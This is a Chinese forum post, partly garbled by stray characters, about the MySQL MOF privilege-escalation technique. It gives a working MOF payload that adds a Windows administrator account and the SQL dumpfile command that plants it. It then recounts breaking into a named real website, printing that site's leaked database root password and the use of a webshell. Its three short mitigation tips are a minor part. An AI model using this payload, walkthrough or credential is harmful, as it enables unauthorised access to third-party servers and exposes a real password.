Mysql mof扩展漏洞防范方法
" k K; s/ k* j1 i/ Z0 g4 h( H3 k# Y8 W9 F8 G. b9 N- @" b3 E ?) W2 D
网上公开的一些利用代码:
. V3 U; I) @! h
: a7 Q; i+ @% W9 S$ P5 {7 ?#pragma namespace(“\\\\.\\root\\subscription”)9 j- p2 G6 p: T4 J
/ Q5 E% d; C* p3 k4 B6 T( i/ B
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
' }' B# O! Z' G9 @
# T$ m* a3 `% F4 S. f2 z8 F7 O ! I, p" x3 o* u& U9 ^. u% S
; ?/ A' n( A4 Z; T) k7 H9 l6 h! R 4 r6 Q2 ]% F6 ]) U
5 v1 [! u: \( U
连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
z& l& e/ J3 T! K* L( F从上面代码来看得出解决办法:% t* O0 ]# Q2 T. ?4 O1 C# R
- C: C- R# {) H. p" J7 o0 C7 Q
1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数
( r" P* x. v2 q$ B: G! @! }
" ?+ s3 N. _& \6 d2、禁止使用”WScript.Shel”组件% F# O1 b( P( h% Y0 ]
0 k, }7 X& W: j; _2 u3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
8 R+ {$ K( j' w/ @ s1 ^. T6 T6 C5 x
% o: x9 i( M+ f& B( r: |( @当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下% H& ]3 o' p- H; h) K. U( [
' B0 S9 \% t2 m! l3 m1 a
事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
* ?( L U! Y# A' O4 P" Z' {, r) h0 B3 n0 q
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容& h+ i; [- Y1 l( {9 n
8 B! T* }$ j5 A6 n# g, J+ _2 x: l
看懂了后就开始练手吧
) [: Q3 J! W! d: @
5 ?( @, l8 }% {, phttp://www.webbmw.com/config/config_ucenter.php 一句话 a! r, i" c* N/ e4 @
+ O" X$ J, g- R, r) ~) {3 X! a$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
0 Q+ n2 u" U; C& T( @$ X7 _3 V
; Y5 ^# l) f X( y: N# T( J5 b于是直接用菜刀开搞1 K: k: ]9 n8 A
. @2 {0 U7 R* ?" r上马先2 X0 ~6 ]% x4 ?9 k8 r7 {
9 B. W; r) N$ R
既然有了那些账号 之类的 于是我们就执行吧…….
) w% @) R- _7 s5 R, ^1 D; [; w$ ^) J; ]: ?7 v; A
小小的说下
9 z5 E" x) A* G& S N3 a( s9 {2 K' r( x* r! ]4 c9 H3 t
在这里第1次执行未成功 原因未知 [- R/ I! i+ g6 {9 I0 F6 ~
% u* S0 h5 t2 U' `) K. F
我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
5 v0 r# q2 Q7 O8 ^
! b& p( z9 D6 \* b- V#pragma namespace(“\\\\.\\root\\subscription”)
. m& ~2 n) D' i/ _( F2 q5 {! M1 B" P* B: ^8 J( q$ _
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };1 @2 d! o) _/ O
7 M: g! A$ H/ g" n. W我是将文件放到C:\WINDOWS\temp\1.mof9 M: u/ M5 g, l# ]5 M8 J ?* s
9 `; D$ p" u0 O1 H) `8 D
所以我们就改下执行的代码& A$ Y. l% t& ]6 b2 m
" E/ x2 _8 C# d, { }select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
# L3 K% X0 Q. C' |
# E2 u n( v v* f9 R9 L
" ?6 J+ m) b x: K) Z
5 K$ `5 U+ W; D8 C! q# x1 }# i但是 你会发现账号还是没有躺在那里。。
% C/ z. u. d" d# h. Z7 F, B: A1 T: j
于是我就感觉蛋疼
* V7 n4 t. O( k5 ?9 K1 ?
# o* t, w- p; a" W就去一个一个去执行 但是执行到第2个 mysql时就成功了………
5 g- s6 r5 N; @1 m7 k" ]1 |
, ?0 x9 c7 v& T4 [% S& ^
) S. ?9 @& {9 `$ _9 w& A; K2 X6 P9 M3 j; e8 X) j
但是其他库均不成功…5 ~6 G1 k8 W: e$ U, n/ o* Z, a" m
& i# \3 W* G% a4 i, C我就很费解呀 到底为什么不成功求大牛解答…# H2 W* e: r; s* G
: L( q0 X1 J# x- V# c6 o% U0 @8 t& g! N! F
# q8 ^7 f0 k4 v& Y" c! s
|